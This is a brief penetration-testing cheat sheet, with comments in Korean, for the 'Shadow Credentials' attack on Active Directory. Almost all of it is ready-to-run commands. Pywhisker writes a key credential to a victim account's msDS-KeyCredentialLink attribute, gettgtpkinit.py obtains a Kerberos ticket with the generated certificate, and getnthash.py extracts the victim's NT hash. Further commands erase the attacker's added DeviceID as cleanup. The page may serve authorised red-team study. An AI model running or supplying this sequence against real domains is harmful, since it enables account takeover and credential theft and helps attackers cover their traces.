AddKeyCredentialLink
Last updated
Last updated
# Pywhisker 를 통한 msDS-KeyCredentialLink 수정.
# 이때, DeviceID, PFX filename, PFX Password 를 따로 기록해놓는다.
pywhisker.py -d domain.local -u controlledAccount -p pass --target targetAccount --action add
python3 gettgtpkinit.py -cert-pfx <pfx> -pfx-pass <pass> domain.com/target target.ccache
export KRB5CCNAME=target.ccache
python3 getnthash.py -key <AS-REP Encryption key> domain.com/target# 공격자로서 추가했던 DeviceID만 삭제
python3 pywhisker.py -d choi.local -u abuse -p 'Password123!' --target victim --action remove -D <DeviceID>
# 확인
python3 pywhisker.py -d choi.local -u abuse -p 'Password123!' --target victim --action list